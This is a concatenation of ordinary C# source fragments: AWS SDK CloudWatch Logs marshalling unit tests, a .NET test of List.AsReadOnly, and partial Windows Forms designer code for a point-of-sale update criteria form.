DescribeExportTasksRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DescribeExportTasksRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("DescribeExportTasks").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = DescribeExportTasksResponseUnmarshaller.Instance.Unmarshall(context) as DescribeExportTasksResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DescribeLogGroupsMarshallTest() { var request = InstantiateClassGenerator.Execute<DescribeLogGroupsRequest>(); var marshaller = new DescribeLogGroupsRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DescribeLogGroupsRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("DescribeLogGroups").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = DescribeLogGroupsResponseUnmarshaller.Instance.Unmarshall(context) as DescribeLogGroupsResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DescribeLogStreamsMarshallTest() { var request = InstantiateClassGenerator.Execute<DescribeLogStreamsRequest>(); var marshaller = new DescribeLogStreamsRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DescribeLogStreamsRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("DescribeLogStreams").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = DescribeLogStreamsResponseUnmarshaller.Instance.Unmarshall(context) as DescribeLogStreamsResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DescribeMetricFiltersMarshallTest() { var request = InstantiateClassGenerator.Execute<DescribeMetricFiltersRequest>(); var marshaller = new DescribeMetricFiltersRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DescribeMetricFiltersRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("DescribeMetricFilters").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = DescribeMetricFiltersResponseUnmarshaller.Instance.Unmarshall(context) as DescribeMetricFiltersResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DescribeSubscriptionFiltersMarshallTest() { var request = InstantiateClassGenerator.Execute<DescribeSubscriptionFiltersRequest>(); var marshaller = new DescribeSubscriptionFiltersRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DescribeSubscriptionFiltersRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("DescribeSubscriptionFilters").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = DescribeSubscriptionFiltersResponseUnmarshaller.Instance.Unmarshall(context) as DescribeSubscriptionFiltersResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void FilterLogEventsMarshallTest() { var request = InstantiateClassGenerator.Execute<FilterLogEventsRequest>(); var marshaller = new FilterLogEventsRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<FilterLogEventsRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("FilterLogEvents").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = FilterLogEventsResponseUnmarshaller.Instance.Unmarshall(context) as FilterLogEventsResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void GetLogEventsMarshallTest() { var request = InstantiateClassGenerator.Execute<GetLogEventsRequest>(); var marshaller = new GetLogEventsRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<GetLogEventsRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("GetLogEvents").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = GetLogEventsResponseUnmarshaller.Instance.Unmarshall(context) as GetLogEventsResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void PutDestinationMarshallTest() { var request = InstantiateClassGenerator.Execute<PutDestinationRequest>(); var marshaller = new PutDestinationRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<PutDestinationRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("PutDestination").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = PutDestinationResponseUnmarshaller.Instance.Unmarshall(context) as PutDestinationResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void PutDestinationPolicyMarshallTest() { var request = InstantiateClassGenerator.Execute<PutDestinationPolicyRequest>(); var marshaller = new PutDestinationPolicyRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<PutDestinationPolicyRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void PutLogEventsMarshallTest() { var request = InstantiateClassGenerator.Execute<PutLogEventsRequest>(); var marshaller = new PutLogEventsRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<PutLogEventsRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("PutLogEvents").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = PutLogEventsResponseUnmarshaller.Instance.Unmarshall(context) as PutLogEventsResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void PutMetricFilterMarshallTest() { var request = InstantiateClassGenerator.Execute<PutMetricFilterRequest>(); var marshaller = new PutMetricFilterRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<PutMetricFilterRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void PutRetentionPolicyMarshallTest() { var request = InstantiateClassGenerator.Execute<PutRetentionPolicyRequest>(); var marshaller = new PutRetentionPolicyRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<PutRetentionPolicyRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void PutSubscriptionFilterMarshallTest() { var request = InstantiateClassGenerator.Execute<PutSubscriptionFilterRequest>(); var marshaller = new PutSubscriptionFilterRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<PutSubscriptionFilterRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void TestMetricFilterMarshallTest() { var request = InstantiateClassGenerator.Execute<TestMetricFilterRequest>(); var marshaller = new TestMetricFilterRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<TestMetricFilterRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("TestMetricFilter").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = TestMetricFilterResponseUnmarshaller.Instance.Unmarshall(context) as TestMetricFilterResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Collections.ObjectModel; using System.Collections.Generic; using TestSupport.Collections; using TestSupport; using Xunit; using TestSupport.Common_TestSupport; using List_ListUtils; using List_AsReadOnly; public class VerifyReadOnlyIList<T> { public static bool Verify(IList<T> list, T[] items, GenerateItem<T> generateItem) { bool retValue = true; retValue &= VerifyAdd(list, items); retValue &= VerifyClear(list, items); retValue &= VerifyInsert(list, items); retValue &= VerifyRemove(list, items); retValue &= VerifyRemoveAt(list, items); retValue &= VerifyItem_Set(list, items); retValue &= VerifyIsReadOnly(list, items); retValue &= VerifyIndexOf(list, items); retValue &= VerifyContains(list, items); retValue &= VerifyItem_Get(list, items); retValue &= VerifyIList(list, items, generateItem); return retValue; } public static bool VerifyAdd(IList<T> list, T[] items) { bool retValue = true; int origCount = list.Count; //[]Try adding an item to the colleciton and verify Add throws NotSupportedException try { list.Add(default(T)); retValue &= List_ListUtils.Test.Eval(false, "Err_27027ahbz!!! Not supported Exception should have been thrown when calling Add on a readonly collection"); } catch (NotSupportedException) { retValue &= List_ListUtils.Test.Eval(origCount == list.Count, String.Format("Err_7072habpo!!! Expected Count={0} actual={1} after calling Add on a readonly collection", origCount, list.Count)); } return retValue; } public static bool VerifyInsert(IList<T> list, T[] items) { bool retValue = true; int origCount = list.Count; //[]Verify Insert throws NotSupportedException try { list.Insert(0, default(T)); retValue &= List_ListUtils.Test.Eval(false, "Err_558449ahpba!!! Not supported Exception should have been thrown when calling Insert on a readonly collection"); } catch (NotSupportedException) { retValue &= List_ListUtils.Test.Eval(origCount == list.Count, String.Format("Err_21199apba!!! Expected Count={0} actual={1} after calling Insert on a readonly collection", origCount, list.Count)); } return retValue; } public static bool VerifyClear(IList<T> list, T[] items) { bool retValue = true; int origCount = list.Count; //[]Verify Clear throws NotSupportedException try { list.Clear(); retValue &= List_ListUtils.Test.Eval(false, "Err_7027qhpa!!! Not supported Exception should have been thrown when calling Clear on a readonly collection"); } catch (NotSupportedException) { retValue &= List_ListUtils.Test.Eval(origCount == list.Count, String.Format("Err_727aahpb!!! Expected Count={0} actual={1} after calling Clear on a readonly collection", origCount, list.Count)); } return retValue; } public static bool VerifyRemove(IList<T> list, T[] items) { bool retValue = true; int origCount = list.Count; //[]Verify Remove throws NotSupportedException try { if (null != items && items.Length != 0) { list.Remove(items[0]); } else { list.Remove(default(T)); } retValue &= List_ListUtils.Test.Eval(false, "Err_8207aahpb!!! Not supported Exception should have been thrown when calling Remove on a readonly collection"); } catch (NotSupportedException) { retValue &= List_ListUtils.Test.Eval(origCount == list.Count, String.Format("Err_7082hapba!!! Expected Count={0} actual={1} after calling Remove on a readonly collection", origCount, list.Count)); } return retValue; } public static bool VerifyRemoveAt(IList<T> list, T[] items) { bool retValue = true; int origCount = list.Count; //[]Verify RemoveAt throws NotSupportedException try { list.RemoveAt(0); retValue &= List_ListUtils.Test.Eval(false, "Err_77894ahpba!!! Not supported Exception should have been thrown when calling RemoveAt on a readonly collection"); } catch (NotSupportedException) { retValue &= List_ListUtils.Test.Eval(origCount == list.Count, String.Format("Err_111649ahpba!!! Expected Count={0} actual={1} after calling RemoveAt on a readonly collection", origCount, list.Count)); } return retValue; } public static bool VerifyItem_Set(IList<T> list, T[] items) { bool retValue = true; int origCount = list.Count; //[]Verify Item_Set throws NotSupportedException try { list[0] = default(T); retValue &= List_ListUtils.Test.Eval(false, "Err_77894ahpba!!! Not supported Exception should have been thrown when calling Item_Set on a readonly collection"); } catch (NotSupportedException) { } return retValue; } public static bool VerifyIsReadOnly(IList<T> list, T[] items) { return List_ListUtils.Test.Eval(list.IsReadOnly, "Err_44894phkni!!! Expected IsReadOnly to be false"); } public static bool VerifyIndexOf(IList<T> list, T[] items) { int index; bool retValue = true; for (int i = 0; i < items.Length; ++i) { retValue &= List_ListUtils.Test.Eval(i == (index = list.IndexOf(items[i])) || items[i].Equals(items[index]), String.Format("Err_331697ahpba Expect IndexOf to return an index to item equal to={0} actual={1} IndexReturned={2} items Index={3}", items[i], items[index], index, i)); } return retValue; } public static bool VerifyContains(IList<T> list, T[] items) { bool retValue = true; for (int i = 0; i < items.Length; ++i) { retValue &= List_ListUtils.Test.Eval(list.Contains(items[i]), String.Format("Err_1568ahpa Expected Contains to return true with item={0} items index={1}", items[i], i)); } return retValue; } public static bool VerifyItem_Get(IList<T> list, T[] items) { bool retValue = true; for (int i = 0; i < items.Length; ++i) { retValue &= List_ListUtils.Test.Eval(items[i].Equals(list[i]), String.Format("Err_70717ahbpa Expected list[{0}]={1} actual={2}", i, items[i], list[i])); } return retValue; } public static bool VerifyIList(IList<T> list, T[] items, GenerateItem<T> generateItem) { IList_T_Test<T> genericICollectionTest = new IList_T_Test<T>(new TestSupport.Common_TestSupport.Test(), list, generateItem, items, true, true); return genericICollectionTest.RunAllTests(); } } namespace List_AsReadOnly { public class Driver<T> { public void CheckType() { // VSWhidbey #378658 List<T> list = new List<T>(); ReadOnlyCollection<T> readOnlyList = list.AsReadOnly(); List_ListUtils.Test.Eval(readOnlyList.GetType() == typeof(ReadOnlyCollection<T>), "Err_1703r38abhpx Read Only Collection Type Test FAILED"); } public void EmptyCollection(GenerateItem<T> generateItem) { List<T> list = new List<T>(); List_ListUtils.Test.Eval(VerifyReadOnlyIList<T>.Verify(list.AsReadOnly(), new T[0], generateItem), "Err_170718abhpx Empty Collection Test FAILED"); } public void NonEmptyCollectionIEnumerableCtor(T[] items, GenerateItem<T> generateItem) { List<T> list = new List<T>(new TestCollection<T>(items)); List_ListUtils.Test.Eval(VerifyReadOnlyIList<T>.Verify(list.AsReadOnly(), items, generateItem), "Err_884964ahbz NON Empty Collection using the IEnumerable constructor to populate the list Test FAILED"); } public void NonEmptyCollectionAdd(T[] items, GenerateItem<T> generateItem) { List<T> list = new List<T>(); for (int i = 0; i < items.Length; ++i) { list.Add(items[i]); } List_ListUtils.Test.Eval(VerifyReadOnlyIList<T>.Verify(list.AsReadOnly(), items, generateItem), "Err_58941ahpas NON Empty Collection Test using Add to populate the list FAILED"); } public void AddRemoveSome(T[] items, T[] itemsToAdd, T[] itemsToRemove, GenerateItem<T> generateItem) { List<T> list = new List<T>(); for (int i = 0; i < itemsToAdd.Length; ++i) { list.Add(itemsToAdd[i]); } for (int i = 0; i < itemsToRemove.Length; ++i) { list.Remove(itemsToRemove[i]); } List_ListUtils.Test.Eval(VerifyReadOnlyIList<T>.Verify(list.AsReadOnly(), items, generateItem), "Err_70712bas Add then Remove some of the items Test FAILED"); } public void AddRemoveAll(T[] items, GenerateItem<T> generateItem) { List<T> list = new List<T>(); for (int i = 0; i < items.Length; ++i) { list.Add(items[i]); } for (int i = 0; i < items.Length; ++i) { list.RemoveAt(0); } List_ListUtils.Test.Eval(VerifyReadOnlyIList<T>.Verify(list.AsReadOnly(), new T[0], generateItem), "Err_56498ahpba Add then Remove all of the items Test FAILED"); } public void AddClear(T[] items, GenerateItem<T> generateItem) { List<T> list = new List<T>(); for (int i = 0; i < items.Length; ++i) { list.Add(items[i]); } list.Clear(); List_ListUtils.Test.Eval(VerifyReadOnlyIList<T>.Verify(list.AsReadOnly(), new T[0], generateItem), "Err_46598ahpas Add then Clear Test FAILED"); } } } public class RefX1IntGenerator { private int _index; public RefX1IntGenerator() { _index = 1; } public RefX1<int> NextValue() { return new RefX1<int>(_index++); } public Object NextValueObject() { return (Object)NextValue(); } } public class ValX1StringGenerator { private int _index; public ValX1StringGenerator() { _index = 1; } public ValX1<String> NextValue() { return new ValX1<string>((_index++).ToString()); } public Object NextValueObject() { return (Object)NextValue(); } } public class AsReadOnly { [Fact] public static void RunTests() { Driver<RefX1<int>> IntDriver = new Driver<RefX1<int>>(); RefX1<int>[] intArr = new RefX1<int>[100]; RefX1<int>[] intArrToRemove = new RefX1<int>[50]; RefX1<int>[] intArrAfterRemove = new RefX1<int>[50]; RefX1IntGenerator refX1IntGenerator = new RefX1IntGenerator(); for (int i = 0; i < 100; i++) { intArr[i] = refX1IntGenerator.NextValue(); if ((i & 1) != 0) { intArrToRemove[i / 2] = intArr[i]; } else { intArrAfterRemove[i / 2] = intArr[i]; } } IntDriver.CheckType(); IntDriver.EmptyCollection(refX1IntGenerator.NextValue); IntDriver.NonEmptyCollectionIEnumerableCtor(intArr, refX1IntGenerator.NextValue); IntDriver.NonEmptyCollectionAdd(intArr, refX1IntGenerator.NextValue); IntDriver.AddRemoveSome(intArrAfterRemove, intArr, intArrToRemove, refX1IntGenerator.NextValue); IntDriver.AddRemoveAll(intArr, refX1IntGenerator.NextValue); IntDriver.AddClear(intArr, refX1IntGenerator.NextValue); Driver<ValX1<String>> StringDriver = new Driver<ValX1<String>>(); ValX1<String>[] StringArr = new ValX1<String>[100]; ValX1<String>[] StringArrToRemove = new ValX1<String>[50]; ValX1<String>[] StringArrAfterRemove = new ValX1<String>[50]; ValX1StringGenerator valX1StringGenerator = new ValX1StringGenerator(); for (int i = 0; i < 100; i++) { StringArr[i] = valX1StringGenerator.NextValue(); if ((i & 1) != 0) { StringArrToRemove[i / 2] = StringArr[i]; } else { StringArrAfterRemove[i / 2] = StringArr[i]; } } StringDriver.CheckType(); StringDriver.EmptyCollection(valX1StringGenerator.NextValue); StringDriver.NonEmptyCollectionIEnumerableCtor(StringArr, valX1StringGenerator.NextValue); StringDriver.NonEmptyCollectionAdd(StringArr, valX1StringGenerator.NextValue); StringDriver.AddRemoveSome(StringArrAfterRemove, StringArr, StringArrToRemove, valX1StringGenerator.NextValue); StringDriver.AddRemoveAll(StringArr, valX1StringGenerator.NextValue); StringDriver.AddClear(StringArr, valX1StringGenerator.NextValue); Assert.True(List_ListUtils.Test.result); } }
using CrystalDecisions.CrystalReports.Engine; using CrystalDecisions.Windows.Forms; using DpSdkEngLib; using DPSDKOPSLib; using Microsoft.VisualBasic; using System; using System.Collections; using System.Collections.Generic; using System.Drawing; using System.Diagnostics; using System.Windows.Forms; using System.Linq; using System.Xml.Linq; namespace _4PosBackOffice.NET { [Microsoft.VisualBasic.CompilerServices.DesignerGenerated()] partial class frmUpdatePOScriteria { #region "Windows Form Designer generated code " [System.Diagnostics.DebuggerNonUserCode()] public frmUpdatePOScriteria() : base() { FormClosed += frmUpdatePOScriteria_FormClosed; Load += frmUpdatePOScriteria_Load; KeyPress += frmUpdatePOScriteria_KeyPress; //This call is required by the Windows Form Designer. InitializeComponent(); } //Form overrides dispose to clean up the component list. [System.Diagnostics.DebuggerNonUserCode()] protected override void Dispose(bool Disposing) { if (Disposing) { if ((components != null)) { components.Dispose(); } } base.Dispose(Disposing); } //Required by the Windows Form Designer private System.ComponentModel.IContainer components; public System.Windows.Forms.ToolTip ToolTip1; private System.Windows.Forms.Timer withEventsField_tmrDeposit; public System.Windows.Forms.Timer tmrDeposit { get { return withEventsField_tmrDeposit; } set { if (withEventsField_tmrDeposit != null) { withEventsField_tmrDeposit.Tick -= tmrDeposit_Tick; } withEventsField_tmrDeposit = value; if (withEventsField_tmrDeposit != null) { withEventsField_tmrDeposit.Tick += tmrDeposit_Tick; } } } private System.Windows.Forms.Timer withEventsField_tmrMEndUpdatePOS; public System.Windows.Forms.Timer tmrMEndUpdatePOS { get { return withEventsField_tmrMEndUpdatePOS; } set { if (withEventsField_tmrMEndUpdatePOS != null) { withEventsField_tmrMEndUpdatePOS.Tick -= tmrMEndUpdatePOS_Tick; } withEventsField_tmrMEndUpdatePOS = value; if (withEventsField_tmrMEndUpdatePOS != null) { withEventsField_tmrMEndUpdatePOS.Tick += tmrMEndUpdatePOS_Tick; } } } private System.Windows.Forms.Button withEventsField_cmdBuildChanges; public System.Windows.Forms.Button cmdBuildChanges { get { return withEventsField_cmdBuildChanges; } set { if (withEventsField_cmdBuildChanges != null) { withEventsField_cmdBuildChanges.Click -= cmdBuildChanges_Click; } withEventsField_cmdBuildChanges = value; if (withEventsField_cmdBuildChanges != null) { withEventsField_cmdBuildChanges.Click += cmdBuildChanges_Click; } } } public System.Windows.Forms.Label _Label3_0; public System.Windows.Forms.Label _Label1_0; public System.Windows.Forms.GroupBox _frmType_0; private System.Windows.Forms.Timer withEventsField_tmrDuplicate; public System.Windows.Forms.Timer tmrDuplicate { get { return withEventsField_tmrDuplicate; } set { if (withEventsField_tmrDuplicate != null) { withEventsField_tmrDuplicate.Tick -= tmrDuplicate_Tick; } withEventsField_tmrDuplicate = value; if (withEventsField_tmrDuplicate != null) { withEventsField_tmrDuplicate.Tick += tmrDuplicate_Tick; } } } public System.Windows.Forms.Button _cmdType_2; public System.Windows.Forms.Button _cmdType_1; public System.Windows.Forms.Button _cmdType_0; private System.Windows.Forms.Button withEventsField_cmdBuildFilter; public System.Windows.Forms.Button cmdBuildFilter { get { return withEventsField_cmdBuildFilter; } set { if (withEventsField_cmdBuildFilter != null) { withEventsField_cmdBuildFilter.Click -= cmdBuildFilter_Click; } withEventsField_cmdBuildFilter = value; if (withEventsField_cmdBuildFilter != null) { withEventsField_cmdBuildFilter.Click += cmdBuildFilter_Click; } } } private System.Windows.Forms.Button withEventsField_cmdNamespace; public System.Windows.Forms.Button cmdNamespace { get { return withEventsField_cmdNamespace; } set { if (withEventsField_cmdNamespace != null) { withEventsField_cmdNamespace.Click -= cmdNamespace_Click; } withEventsField_cmdNamespace = value; if (withEventsField_cmdNamespace != null) { withEventsField_cmdNamespace.Click += cmdNamespace_Click; } } } public System.Windows.Forms.Label lblHeading; public System.Windows.Forms.GroupBox _frmType_1; private System.Windows.Forms.Button withEventsField_cmdExit; public System.Windows.Forms.Button cmdExit { get { return withEventsField_cmdExit; } set { if (withEventsField_cmdExit != null) { withEventsField_cmdExit.Click -= cmdExit_Click; } withEventsField_cmdExit = value; if (withEventsField_cmdExit != null) { withEventsField_cmdExit.Click += cmdExit_Click; } } } private System.Windows.Forms.Button withEventsField_cmdBuildAll; public System.Windows.Forms.Button cmdBuildAll { get { return withEventsField_cmdBuildAll; } set { if (withEventsField_cmdBuildAll != null) { withEventsField_cmdBuildAll.Click -= cmdBuildAll_Click; } withEventsField_cmdBuildAll = value; if (withEventsField_cmdBuildAll != null) { withEventsField_cmdBuildAll.Click += cmdBuildAll_Click; } } } public System.Windows.Forms.Label _Label3_1; public System.Windows.Forms.Label _Label1_1; public System.Windows.Forms.GroupBox _frmType_2; public System.Windows.Forms.Label Label2; //Public WithEvents Label1 As Microsoft.VisualBasic.Compatibility.VB6.LabelArray //Public WithEvents Label3 As Microsoft.VisualBasic.Compatibility.VB6.LabelArray //Public WithEvents cmdType As Microsoft.VisualBasic.Compatibility.VB6.ButtonArray //Public WithEvents frmType As Microsoft.VisualBasic.Compatibility.VB6.GroupBoxArray //NOTE: The following procedure is required by the Windows Form Designer //It can be modified using the Windows Form Designer. //Do not modify it using the code editor. [System.Diagnostics.DebuggerStepThrough()] private void InitializeComponent() { System.Resources.ResourceManager resources = new System.Resources.ResourceManager(typeof(frmUpdatePOScriteria)); this.components = new System.ComponentModel.Container(); this.ToolTip1 = new System.Windows.Forms.ToolTip(components); this.tmrDeposit = new System.Windows.Forms.Timer(components); this.tmrMEndUpdatePOS = new System.Windows.Forms.Timer(components); this._frmType_0 = new System.Windows.Forms.GroupBox(); this.cmdBuildChanges = new System.Windows.Forms.Button(); this._Label3_0 = new System.Windows.Forms.Label(); this._Label1_0 = new System.Windows.Forms.Label(); this.tmrDuplicate = new System.Windows.Forms.Timer(components); this._cmdType_2 = new System.Windows.Forms.Button(); this._cmdType_1 = new System.Windows.Forms.Button(); this._cmdType_0 = new System.Windows.Forms.Button(); this._frmType_1 = new System.Windows.Forms.GroupBox(); this.cmdBuildFilter = new System.Windows.Forms.Button(); this.cmdNamespace = new System.Windows.Forms.Button(); this.lblHeading = new System.Windows.Forms.Label(); this.cmdExit = new System.Windows.Forms.Button(); this._frmType_2 = new System.Windows.Forms.GroupBox(); this.cmdBuildAll = new System.Windows.Forms.Button(); this._Label3_1 = new System.Windows.Forms.Label(); this._Label1_1 = new System.Windows.Forms.Label(); this.Label2 = new System.Windows.Forms.Label(); //Me.Label1 = New Microsoft.VisualBasic.Compatibility.VB6.LabelArray(components) //Me.Label3 = New Microsoft.VisualBasic.Compatibility.VB6.LabelArray(components) //Me.cmdType = New Microsoft.VisualBasic.Compatibility.VB6.ButtonArray(components) //Me.frmType = New Microsoft.VisualBasic.Compatibility.VB6.GroupBoxArray(components) this._frmType_0.SuspendLayout(); this._frmType_1.SuspendLayout(); this._frmType_2.SuspendLayout(); this.SuspendLayout(); this.ToolTip1.Active = true; //CType(Me.Label1, System.ComponentModel.ISupportInitialize).BeginInit() //CType(Me.Label3, System.ComponentModel.ISupportInitialize).BeginInit() ((System.ComponentModel.ISupportInitialize)this.cmdType).BeginInit(); ((System.ComponentModel.ISupportInitialize)this.frmType).BeginInit(); this.BackColor = System.Drawing.Color.FromArgb(224, 224, 224); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Text = "Selection Criteria for Point Of Sale Update"; this.ClientSize = new System.Drawing.Size(508, 335); this.Location = new System.Drawing.Point(3, 22); this.ControlBox = false; this.KeyPreview = true; this.MaximizeBox = false; this.MinimizeBox = false; this.ShowInTaskbar = false; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.Enabled = true; this.Cursor = System.Windows.Forms.Cursors.Default; this.RightToLeft = System.Windows.Forms.RightToLeft.No; this.HelpButton = false; this.WindowState = System.Windows.Forms.FormWindowState.Normal; this.Name = "frmUpdatePOScriteria"; this.tmrDeposit.Enabled = false; this.tmrDeposit.Interval = 10; 